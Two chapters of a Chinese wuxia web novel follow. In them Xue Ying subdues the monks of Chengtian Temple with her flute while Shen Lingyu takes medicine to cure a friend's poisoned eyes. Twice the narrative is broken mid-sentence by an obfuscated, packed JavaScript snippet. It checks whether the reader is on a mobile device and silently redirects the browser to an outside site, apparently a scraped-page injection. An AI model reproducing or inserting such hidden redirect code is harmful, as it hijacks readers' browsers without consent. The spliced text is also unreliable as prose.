沈泠钰本以为她只是玩笑,谁知,却是真的玩心大起,先是吃了饭,还带给陈悠欢三人,接着又拉他去集市,走走逛逛,买了好多稀奇玩意。 对于薛滢要买的东西,沈泠钰没有任何意见,一路重复着拿银子给银子的动作。 直到薛滢在一个摊贩处拿了一把粗绳才问:“薛姑娘,这是做什么的?” “这是我要送给别人的礼物。”薛滢笑道。 闻言,沈泠钰再给钱。 傍晚时分,两人在一家酒楼吃了饭,便准备着去承天寺,晃眼间,沈泠钰看见薛滢腰间挂着一只玉笛,通体晶莹,以穗子做装饰,先前倒没见过。 两人一路到了承天寺下,却不准备走天梯上去,而是后面绕上去。 这山路对于两人的轻功而言不算什么,很快,那暗红色的墙面便出现在两人眼前,便是承天寺了。 薛滢小声说:“泠钰哥哥,你且先待这里,片刻后听到一阵笛声,你且放心去里面找,锁香丸虽是他们的宝贝,却也是药,还得存放在罐中,放在阴凉处,打开罐子,能嗅到一股异香。” 说完,她架势要飞上院墙,沈泠钰握住她手腕,目露担忧。 “不然还是我去引开他们。”他低声说,“你一个人,我不放心。” “我们不是说好了吗?”薛滢笑了笑,“我敢保证他们不能伤我,若你去引开他们,势必使剑,不就让他们瞧出你是楚山的人了么?” 沈泠钰还是不放心,薛滢拍拍他的手,“且看我的吧,快些拿了药,别再让小楼子受苦了。” 说完,她飞上院墙,很快消失在沈泠钰视线内。 此时已是夜晚,薛滢一路躲避着,见外面只有守着大门的两人,其余和尚大概都在屋内。 她面带微笑,站上寺庙房顶最高处,手指取下腰间玉笛,吹奏了起来。 这笛声突兀地在寺中响起,加以内力,顷刻间传遍了寺庙每个角落。 笛声悠扬绵长,若内家功夫不在薛滢之上,绝辨认不清吹奏的方向。 不多时,听到笛声的人纷纷从屋内走出来,笛声变得更加清晰,像是缕缕丝线在他们耳中拉扯,只觉得眼前事物变得模糊不清,神志也开始恍惚,竟都跌坐到地上,呆呆看着天上。 薛滢在屋檐上将这一幕尽收眼底,仍然没有停下吹奏。 夜风将她青绿的衣衫吹起,如同碧波一般,身后的乌发亦是随风飘拂。 她果真没有想错,承天寺主持焦灵大师外出,接待何原一的人是他弟子竹檀,那这庙里大部分都是些有点微末功夫的普通和尚,只需吹奏她阿娘所作的曲子就能控制住。 此时外面的沈泠钰等笛声持续了片刻,便按薛滢所说,运功抵挡笛声,飞身进寺庙内。 一路畅通无阻,所有小沙弥都呆呆看着天上发愣,哪里还能阻拦他。 可惜薛滢内力还不够深厚,不能像她阿娘那样一曲让他们睡上几个时辰,只能用曲子暂时限制住他们,几炷短香倒是足够了。 薛滢放下玉笛,忽然听下面一声大喊:“竹檀小师父,就是她,她在那里!” 13. 夜闯 她往下看去,见何原一和竹檀站在院中,已经发现了她。 薛滢心中哎呦,没想到这两人居然没有被控制。 何原一脸上甚是幸灾乐祸,他武功不及她,两个耳朵都用东西塞着,倒是那小沙弥竹檀,又惊又怒,正拳头握紧,死死盯着她。 大概是两人在聊事情,竹檀听到笛声,发觉不对,先一步运功挡住笛声,又帮了何原一一把。 竹檀是焦灵大师弟子,想来在这寺里地位不低,见薛滢一道曲子就让这么多和尚变成如此痴样,他震惊的同时,又大为生气。 薛滢也有几分惊讶,没成想这小沙弥武功和她不相上下,不然怎么能抵御这笛声? 看来眼下这寺中只有这两人是清醒的,她只需要拖住他们,就能给沈泠钰争取足够的时间拿锁香丸。 “来者何人!”竹檀厉声道。 薛滢盈盈一笑,“你追上我,我就告诉你!” 竹檀当即飞上房顶,一掌拍出,掌气直冲薛滢面门。 薛滢斜身躲过,唇角微微勾起,手中玉笛打向竹檀腰窝。竹檀面色微变,向后翻越几个跟斗,和她拉开了距离。 薛滢看他一眼,反身向旁边的房顶飞去,何原一见状大叫:“休想逃!” “那你来追我呀!”薛滢足尖落下,身姿轻盈,脸上笑颜款款。 见何原一追来,她当即飞向承天寺大门口。 以为她要逃,竹檀和何原一同时朝她追去。由于先前的仇恨,何原一快许多,见薛滢躲到大门屋檐下面,奸笑了下,冲上前想直接把她抓住。 谁知他刚到大门下方,一条粗麻绳掉了下来,迅速将他上半身缠住。 何原一惊慌失措,大叫一声,整个人被拽了上去,挂到了大门下方。 薛滢跳了下来,指着被吊在门下的何原一哈哈大笑。 何原一被吊在半空中,拼命挣扎,除了两条腿,其余哪里能动,他被气得一张猴子脸通红,眼珠似乎都要掉下来了。 “我送你的礼物,喜不喜欢?”薛滢嬉笑道。 “你!你放我下来,我一定饶不了你!”何原一破口大骂。 一些污秽的词薛滢从前在山上听都没听过,自然也不在乎。她抬手狠狠扇了何原一两巴掌,用了十足的力气,将他牙齿打落了几颗,血糊了满嘴,话都说不出来了。 眼见竹檀奔来,薛滢再给了他一巴掌,顺势将一颗猩红的药丸塞到他嘴中,让他吃了下去。 她飞上大门上,对有些意识不清的何原一喊:“几个耳刮子是我赏你的礼物,不用谢了!牙齿就当你还我的吧,但是太脏了,我可不要。”说完嘻嘻一笑,又跳到另外的屋顶上去了。 竹檀赶来,见何原一被挂在自家大门前,清秀的脸一阵红一阵白,顾不得将他放下来,就朝薛滢追去。 薛滢小步跑在房顶上。竹檀见状,运功径直落到她身前,猛力转身,身上袈裟飞起,只听得数声掌风,掌掌透着力气,对着薛滢拍来。 他往前,薛滢便往后,对比他脸上的戾气,她就显得随性随意多了,无论他打来多少拳,薛滢只是躲,待他稍有停歇,拿起玉笛便吹奏起来。 数道尖锐之声险些让竹檀耳朵流出血,他急急运功抵挡,厉声质问:“你使得什么妖术?!” “妖术?”薛滢眯眼,放下笛子,猝不及防来到他身侧,竟也是以掌对上他。 竹檀脸上怒气稍减,只因掌法是承天寺最为厉害的武功,他不信一个来历不明的小姑娘会比得过他。 可几招下去,他面色陡然大变,薛滢使得竟然是他方才用的那套掌法。 “你……”竹檀停下动作,“这是我承天寺内门功夫,你是从哪里学的!” 薛滢笑容得意,“原来是承天寺内门功夫啊,我还以为是哪家杂门武功呢,你刚刚用那一套,我看过就学会了,多简单。” 竹檀怒不可遏,“你胡说!” “我骗你这个小和尚做什么。”薛滢将身前头发甩后去,叉腰道,“就这门子功夫,还需要很认真学么?” 闻言,竹檀气得咬牙切齿,将牙齿磨得咔咔作响,见薛滢神色轻蔑,便再次抬掌朝她打去。 薛滢见他再上,微微一笑,一手拿着笛子负在身后,一手化解他的掌法,快到只能看见青绿的残影。 化解的同时,手指又飞速点在竹檀手臂及肩上的穴道,他顿感手臂一软,泄了些力气。 薛滢手一把捏住他的脸,让他弯下腰,动弹不了。 此时下面的人恢复了不少,方才顾着斗竹檀,薛滢没空吹笛子,这些人醒来见竹檀被控制住,当即就要上前相助,却被几道银色的冷厉剑光给挡了下来。 沈泠钰从上面的窗户跳下,拦住了这些人。 “泠钰哥哥!”薛滢高兴道,见他神色笃定,便知他已经将锁香丸给拿到了。 沈泠钰见她没有受伤,放下心,专挡这些醒来的人,但也没有伤了他们,只是将他们打倒在地,或者点穴道让其不能行动。 “看你长得还挺俊秀的,怎么就当起和尚来了?”薛滢再看向竹檀,打量他一番,一面笑,一面用笛子去敲他光秃秃的脑袋。 “你!”竹檀瞪大眼睛,两颊被她捏得发疼,却嗅到阵阵花香,不由上下看了看她。 薛滢见状取笑道:“干嘛,你认得我啊?” “你这妖女!”竹檀几乎气得眼冒火星。 薛滢登时收起笑脸,喝道:“你叫我什么!!” 她一把将竹檀丢开。竹檀喘息着,手扶着胸口,两眼血红。 “我说你是妖女,你会妖术!”他咬牙喊,毫无退缩之意。 这时,沈泠钰携剑到了薛滢身边,见她全然没了往日笑吟吟的模样,忙问:“怎么了?” “他说我是妖女!”薛滢跺脚。 沈泠钰当即看向竹檀,冷冽的目光同剑意一同刺上,和竹檀交起手来,一招一式快而凌厉,逼得竹檀不断后退,几乎毫无还手之力。 直到把他逼退到房屋边缘,眼见竹檀身形不稳,沈泠钰的剑却没有撤回之意,只逼他的胸口,可在刺上的一瞬,他掉转剑身,用剑柄把他打下房去。 竹檀摔在地上,喷出一口血,手扶着胸口,恶狠狠瞪着上面人。 薛滢跑上前,挽住沈泠钰手臂,朝下面得意道:“还敢不敢那样叫我了?让你长点记性!” “你是楚山的弟子,居然敢来犯我承天寺!”竹檀咬牙切齿,几乎要气到昏厥过去。 “反正是你打不过的,小沙弥再回去多练几年吧。”薛滢冲他做了个鬼脸,心里快意极了,“泠钰哥哥我们走,药拿到了?” “拿到了。”沈泠钰看了看她,“没事吧?” “我能有什么事,除了他方才骂我,我都觉得好玩。”薛滢笑道。 竹檀受伤,现下承天寺是没人可以和他们打的了,两人一同离开此地。 经过大门时,沈泠钰看见还被挂在门下的何原一,才知薛滢买那条绳子是要做什么用。 到山下,两人慢下步伐,沈泠钰从怀中取出药,问道:“快看看是不是这个。” 他进寺庙后没有受到阻拦,只是在找东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480441|201703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上费了些时辰,好在他牢牢记着薛滢的描述,最后在角落专门用来放一些药物的房间找到了锁香丸。 薛滢埋头嗅了嗅,激动道:“是,就是这个,这下小楼子的眼睛有救了。” 沈泠钰将东西收起。两人先加快脚步回到同世医馆。 虽是大半夜,陈悠欢却还在院子里整理着药材,面庞在月光下白得几乎透明。 “拿到了拿到了。”薛滢兴冲冲道。 陈悠欢起身,从她手中接过小白瓷瓶,打开一瞧,不由吃惊道:“这锁香丸虽不难制,却十分耗费精力,承天寺那边居然给你们这么多么?” 薛滢和沈泠钰相视一笑,她摊手道:“谁叫他们大方嘛。” “楼公子的毒,两颗就够了。”陈悠欢看着手中的瓷瓶,犹犹豫豫的似乎想说什么。 薛滢一眼便看出来了,提议说:“除了给小楼子解毒的,剩下的陈医师就留下吧,以后我们谁中毒,还来找你。” “滢儿,别胡说。”沈泠钰无奈道。 “反正就给陈医师了。”薛滢耸耸肩。 大概是对锁香丸极大的兴趣,陈悠欢唇角勾起,笑容微弱,却将脸上的病气减弱了不少。 “多谢,先坐吧,我去给楼公子解毒。”她收起桌上的东西,转身进了屋。 在陈悠欢给楼闲月解毒时,薛滢沈泠钰就坐在院子的石桌边等待。 “他们知道你是楚山的人了,泠钰哥哥。”薛滢双手撑着脸说。 沈泠钰笑笑,“我知道。” 薛滢目露不解,沈泠钰主动解释:“既然承天寺和楚山不对付,让他们知道了也无妨。” 薛滢略有些惊奇,“难道楚……你师傅不会说什么么?” “不会,我师傅很护短。”沈泠钰说。 “嗯……”薛滢趴到桌子上,“今天那个小沙弥骂我是妖女,泠钰哥哥,你说我是妖女吗?” “怎么会。”沈泠钰忙温声说,“别听他的。” “你是不是想问我这笛子的功法,其实,就是我乱学来的。”薛滢郁闷道,“怎么能说是妖术呢?” “自然不是了,滢儿姑娘这么聪明。”沈泠钰宽慰道,见薛滢还在烦恼,他想了想,轻声说,“你放心,有我在你身边一日,绝不让别人那样说你。” 薛滢垂着的眼睫微微颤抖,不由抬了起来,只见幽幽月色下,沈泠钰面若冷玉,双眸明亮澄澈,无半点虚假。 她从小在山上,家中仆人对她自然是很顺从,上面几个师兄师姐也是极少责备她,父母更是由着她来。 虽然顺心,却没有几个知心、真心的朋友,听到沈泠钰这样说,薛滢自是很感动的。 “可是……可是泠钰哥哥你都要回楚山了。”薛滢苦闷地道。 忽然,一抹亮眼的青色飞了下来,停在了石桌上。 “呀,是小青鸟!”薛滢笑起来,摊开双手,招呼鸟儿过来。 沈泠钰取下信,便将小青鸟放到了薛滢手中,看起信来。 见状,薛滢手指抚摸着小青鸟柔顺的毛发,一边悄悄去瞅信上的内容。 “你师傅说什么啊?是不是要你明天就回去了?”她咕哝着问。 “嗯,滢儿,你猜一猜?”沈泠钰微笑着说。 “猜?”薛滢眼珠一转,想到楚明枫那老古板定要他回去,可又想到秘籍被拿走,万一是让沈泠钰继续追查线索呢? “莫非不要你回去?”她狐疑。 “我在信上和他说了秘籍的事。”沈泠钰把信折成一个四四方方的小方块,“又说……” 14. 糖给谁 薛滢眨眨眼睛。 “又说我还想在外面历练一段时日,他就答应了。”沈泠钰轻声说。 薛滢双眸亮起,“此话当真?” “当真。”沈泠钰点头。 “泠钰哥哥你真好!”薛滢抱住他胳膊,“你还主动和他说要留下,没想到你师傅还同意了,我以为他是个老古板呢。” “其实我师傅没那么刻板。”沈泠钰无奈道。 薛滢嘻嘻而笑,“我以后能见见他吗?” “可以,等日后我回楚山,若滢儿你也想去的话,我们可以一起回去。”沈泠钰温声说。 原本这就是薛滢所希望的,一开始她接近沈泠钰是想逗逗他,后来是为了见他师傅楚明枫,气那老头子一顿,可现下她却又不太想了。 要是楚明枫知道她的身份,会不会勒令沈泠钰不准和她待一起? 沈泠钰要不是她喜欢的性子,那倒也无所谓,可偏偏他又是个这么好的人。薛滢扪心自问,她现在可是真心拿他当朋友。 见她眉宇间依旧浮出淡淡的思虑,沈泠钰问:“怎么了,滢儿?” “万一你师傅不喜欢我,那可怎么办?”薛滢手指紧紧抓着他的衣服,“万一他不让你和我一起……” “怎么会。”沈泠钰失笑,侧身握住她双肩,“我师傅没有管我们交友的习惯,只有在练功方面,他才比较严厉。” 薛滢看着他,缓缓点了点头。 小青鸟在一边歪着脑袋,黑亮的眼珠不停瞅两人。 这时,偏房的门开了,陈悠欢从里面走出,一身淡紫长裙在月色下分外素雅。 “等明日,楼公子的毒就解了。”她低低地说。 两人站起身,向她表示感谢。 “无妨,不过楼公子还得静养几日,两位说把剩下的锁香丸都赠送于我,楼公子可暂时在这里住下,等伤好完全再走也不迟。”陈悠欢莞尔道。 闻言,两人自是喜不自胜,再次表达了感谢,听楼闲月已经睡着,便先回了客栈。 “滢儿,今晚的事还是让他们发现是我们做的了,想必那何原一心里仇恨更甚。”进屋前,沈泠钰忽说。 想到此事,薛滢就咯咯笑出来,说道:“我给了那何原一一根绳子几个耳刮子当礼物,他还了我几颗牙齿,我嫌脏没有要,又给了他一颗糖吃。” “糖?”沈泠钰讶然。 薛滢扬起下巴,“让他睡不好,吃不好的糖,不是好糖。” 沈泠钰大约明白了,见她这样得意,俏皮灵动的,只当她小孩心性贪玩,不再多问。 两人分别进屋,打开门的瞬间,沈泠钰放在门上的手指缩了缩,还是问:“滢儿,我这里有好糖,你吃吗?” 薛滢又惊又喜,蹦到他面前问:“什么糖?” 沈泠钰从怀中的油纸内拿出一颗圆溜溜的糖果,指甲盖大小,用糖纸好生包着的,凑近闻,还有淡淡的奶香味。 “给,晚上就别多吃了。”沈泠钰叮嘱,摊开白皙的掌心。 薛滢喜滋滋地接过,正打开要吃,又觉得奇怪,故意说道:“泠钰哥哥,你怎么随身带着糖啊,其实你也喜欢吃是不是?” 她以为沈泠钰自己喜欢吃,所以随身带着,却见他摇摇头,“我很少吃,只是上次——” 说到此处,他停顿了下,“上次见你喜欢吃,所以……” “所以你就买了专门备着是不是?”薛滢接过话,双眸亮闪闪的,笑靥如花。 “是。”沈泠钰微笑,“但还是别吃太多了。” “那我问你要,你给不给,难道你还给别人啊?”薛滢笑嘻嘻地问。 沈泠钰没有多想就说:“给。” 自然不会给别人了,其实这还是他头一次买糖,平日里他基本不吃。 薛滢不满地说:“给是什么意思?是给我,还是给别人?是我和别人都给,还是只给别人?” 沈泠钰眼睫微颤,轻轻“啊”了声。 薛滢故意瞅着他,不知道怎么,她就喜欢和沈泠钰耍赖打诨。 “当然是给滢儿了。”沈泠钰哑然失笑。 “这还差不多。”薛滢抱臂,“那日后我们在一起一日,你怀里就得备着,我随时可能要吃的,要是我问你要,你没有的话,我就生气。” 她对着沈泠钰挥挥拳头,毫不觉得自己的要求十分任性,而沈泠钰似乎也不觉得,他认真点了点头,“好,我一定备着。” 得到满意的答复,薛滢才肯回房休息。 次日一早,两人买了包子豆浆去同世医馆,今日倒没有很早就关门。 陈悠欢正在给人看病,脸上轻纱覆面,眉眼连带着那颗红痣,都显得朦胧。 “楼公子在后院,已经醒了。”陈悠欢看见他们说,“但他现在眼睛还没有恢复,得等两日。” 两人闻言去后院一看,果真见楼闲月双眼被一条白布蒙着,不过他长了张俊朗秀气的脸,倒也无伤大雅。 可他暂时看不见,现下也是坐在石桌边连连叹气。 沈泠钰正要说话,薛滢摇头示意他别出声,刻意放低脚步,绕到楼闲月身后,忽然大喊一声,把楼闲月吓得大叫,堪称花容失色。 “谁谁谁!”他慌乱道。 “安啦,是我们。”薛滢拍拍他肩膀。 楼闲月这才放下心,登时哭丧着脸,“你们来了,可算能陪我说说话了,早上醒了我就在这院子里,一个小丫头叫我不许吵医师,我只好闭着嘴……” 薛滢咯咯直笑,把包子塞他手里,“毒解了,可惜还要两日才能见到太阳。” 楼闲月叹气,认命般撑着下巴,“算了,就当是我命中必有此劫吧,好歹是让那何原一奸计没能得逞,要是日后有机会见面,我得报复回来才行。” 他愤然咬了口包子,又丧气了下来:“可是——可是我打不过啊!” “这就是你的不是了,好歹你是楼宫主的外甥呢!他可是五大宗师之一,到底有没有好好习武?”薛滢接过沈泠钰递来的帕子。 “我也想啊,可不是人人都像你们那样有天赋的。”楼闲月哭诉。 “没事,滢儿已经帮你报复回来了。”沈泠钰安慰。 楼闲月先愣了愣,他中毒一两日,怎么称呼就变这么熟了? “怎么报复的?” 薛滢和沈泠钰相视一笑,把昨晚在承天寺的事告诉了他,加之薛滢口若悬河,词语准确,有声有色的描述,把事情整个经过说得格外精彩。 楼闲月听得直拍手,大呼好,又大呼痛快,接着他起身,煞有其事,十分庄重地朝两人行了一礼。 “没想到被人吊树上,反而是因祸得福了,叫我认识两位这么好的朋友。”他嘿嘿笑了两声,“荣幸,实乃荣幸。” “好说好说,等以后,你带我们去斜阳宫玩玩就成。”薛滢摆手。 “那是自然,我虽然功夫差,但银子好歹还是有些,以后去哪里,就由我来付账吧。”楼闲月摸摸自己脑袋,“只要你们肯带上我。” “我们还能去哪儿呢?大不了就是随便在江湖上走走转转,找找秘籍的下落罢了。”薛滢笑道,“不过现在秘籍被双盗拿走的事已经传开了,过不了多久一定会有消息再传出来。” “对啊,到时候高手如云,我不能给舅舅丢脸。”楼闲月斟酌了番,猛地抓住沈泠钰胳膊,“沈兄!沈兄!你教我两招厉害的招数吧,不然我可谓是寸步难行啊!” 沈泠钰微微惊讶,遗憾道:“可楚山的剑术是不允许外传的。” “为何?”楼闲月登时想哭。 “这是规矩啊。”沈泠钰无奈笑道。 薛滢不服气:“我功夫也很厉害,你怎么不找我学?” “因为我知道我学不会。”楼闲月哭唧唧,“我见识过薛妹妹你的武功,太……太复杂了,相比起来,剑就干脆利落些。” 薛滢接受了这个评价,“那倒也是。”她家功夫向来是以诡谲多变闻名的。 “看来我这辈子都没有成为高手的可能了。”楼闲月丧气道。 “你舅舅不教你吗?”薛滢好奇道。 “可别提了,舅舅改我的姓,就是想让我继承斜阳宫,谁知道我习武天赋如此之差,他为此经常长吁短叹的。”楼闲月无力地摇摇头。 江湖人都知楼春尽是格外乐观好脾气之人,能把他弄得长吁短叹,那确实很麻烦了。 薛滢不禁偷笑,难怪楼叔来鹤眠山时,总夸赞她天资聪颖,无论学什么,看一两遍就会了,原来是在家里被折腾坏了。 好在楼闲月也是个乐观的,他从小便接受了自己无习武天赋的事实,专心当着富家公子哥,得知不能学楚山剑法,也没有多纠缠,转头便说起其他趣事。 陈悠欢看完今日的病人,从外面款款走来,楼闲月听见脚步声,忙问:“是不是陈医师?我还没来得及向你致谢呢。” “无妨。”陈悠欢淡淡一笑,“已经给过报酬了,安心养伤吧。” 楼闲月虽看不见,但听见是个柔而细的女声,便知对方年龄不大,忙夸赞道:“姑娘小小年纪,就这样厉害,佩服佩服。” 陈悠欢不由侧头看了他一眼,问:“公子多大了?” “我十七。”楼闲月回道。 “我比公子大一岁。”陈悠欢整理着药材,“公子年纪轻轻便中此毒,也很厉害。” “……”楼闲月摸后脑勺,原来这也算厉害吗,他记得他是不小心中的。 薛滢笑得几乎要倒在沈泠钰怀里了。 “不过。”陈悠欢手停下,“敢问公子先前是不是喝过调理身体的药,或者生过什么大病?” 楼闲月收回思绪,思索着摇摇头,“药或者病?从小我便很少生病,也很少喝药,虽然习武天赋不好,身体还算不错,加上我天生对药味很敏感,闻到稍重的药味,就忍不住想吐……” “是不是你在戒奶的时候被喂过苦药啊。”薛滢咂舌,“我就是在戒奶的时候被喂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480442|201703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦味的东西,害我到现在都吃不下苦的,我爹娘可真会想办法。” “那倒没有,我爹娘在我很小的时候就去世了,我都没有见过他们一面。”楼闲月讪笑,“姑娘问这个是?” 陈悠欢继续手上动作,“无妨,只是为公子解毒时,发现公子身体异于常人,可惜我医术不到位,看不出究竟。” “大概是中毒的缘故吧。”楼闲月没当回事,他平时吃好喝好,身体完全没问题。 在楼闲月眼伤好之前,他暂时住在医馆,薛滢和沈泠钰也待在这里,和他说话的同时,还能帮陈悠欢整理整理药材。 薛滢是片刻热度,那些药她弄一会儿就不想碰了,转头丢给沈泠钰。 她自个坐在屋檐下擦拭玉笛,摆弄其他东西,一边和两人说话。 看见沈泠钰始终佩戴在腰间的长剑,薛滢捧着下巴问:“阿泠哥哥,你能不能教我两招楚山的剑法?我想学着玩玩。” 沈泠钰把筛好的药放架子上晾晒,回头歉意道:“抱歉滢儿,楚山的剑法除了本门弟子外,是决不允许外传的。” “小气。”薛滢嘟囔道。 这肯定是那个老头子楚明枫定的规矩。 她本来也不喜欢使武器,只是想学着玩,先前在鹤眠山上,她有空便拿着书学其他门派的武功,虽说不能特别精进,但学到熟练还是不难的。 薛滢在鹤眠山上把天下出了名的武功都学了个遍,唯独楚山的。 它不让外传,自然没有记录的书籍。 薛滢表面不再说什么,却在傍晚时分看沈泠钰练剑。 看似为少年惊艳夺目的剑术喝彩,实则分析他的一招一式,思量着来日给楚明枫一个惊喜。 傍晚夕阳褪去,终于到了楼闲月拆布条的日子。 陈悠欢为他把脉过后确认他已无大碍,便告诉他可以睁眼了,她则先去了外面。 “从今往后我一定爱惜,看不见的日子可不好受。”楼闲月长舒口气,缓缓解开身后白布的结。 滑落后,他先不适地眨眨眼,眼前的人影有些模糊,还不适应,片刻后,沈泠钰和薛滢的脸出现在他面前,两人正瞅着他。 “你看见了吗?”薛滢观察着他,伸出手指,“这是几?” 楼闲月抓住她手腕哈哈大笑,“这是二啊,薛妹妹!” 薛滢忍俊不禁。 楼闲月蹦跶起来,在院子里走来走去,无比仔细地打量着这个自己住了好些日子的地方,哪里还像个公子哥。 “原来这院子里晒了这么多药,我居然没闻到?”楼闲月稀奇道。 他又走到石桌前摸平坦的桌面,又摸摸自己身上。 薛滢和沈泠钰相视笑笑,继续看他犯傻,这时,院门口传来柔柔的声音:“楼公子感觉如何?” 楼闲月笑着看过去,“感觉非常……” 门口缓缓走进的人纤瘦高挑,一身浅色衣衫如月色般皎洁,面庞虽带病气,却更添几分清冷。 楼闲月张着嘴,半晌合不上,呆呆地道:“仙、仙女。” 陈悠欢看向他,有些不明所以。 “小楼子,快收起你的下巴。”薛滢提醒。 “哦哦,抱、抱歉,陈姑娘,是我失礼了。”楼闲月忙拱手。 陈悠欢笑笑,“无妨。” 她去收那些晾晒的药材,楼闲月见状,忙撩起袖子上前,“陈姑娘,我帮你。” 薛滢在后面扯着沈泠钰的胳膊不停偷笑。 “楼公子才恢复,还是去休息吧。”陈悠欢柔声道。 “无妨无妨,我还是有些力气的。”楼闲月殷切地跑来跑去搬东西。 “小楼子,帮陈医师搬完东西,可要去其他地方了,不过看样子你好像有些舍不得走啊?”薛滢嬉笑道。 “这……沧州我们才来,还没有好好逛过呢,不急,不急。”楼闲月一本正经道。 “那你晚上要和我们一起回客栈吗?”薛滢憋笑,“你不是最讨厌汤药的味道了吗?” “我、我,”楼闲月有些悻悻,“我感觉还得再观察观察。”他深吸口气,“奇怪,陈姑娘这院子就没有什么药味啊。” “楼公子确实还得住一晚。”陈悠欢说,“明日还有一碗汤药需要喝。” 楼闲月自然一百个愿意了,他虽讨厌药味,但喝药不过是捏着鼻子张开嘴再闭上嘴的事,但看见陈悠欢,他就很开心。 见他那样子,薛滢和沈泠钰一同先回了客栈。 两人在路上慢悠悠逛着,看这里看那里,买这个买那个,回到客栈,薛滢又要到他房间玩,说好一阵话才肯回去休息。 次日一早,薛滢挽着沈泠钰胳膊,轻快地跃出客栈大门,商量着待会儿牵马去河边给它们洗洗。 陈悠欢手底下的小医童阿茯不知从哪里跑了出来,跌跌撞撞险些摔倒,被沈泠钰眼疾手快给扶住了。 “薛姑娘沈公子,出、出事了。”阿茯结结巴巴道,“楼、楼公子他……”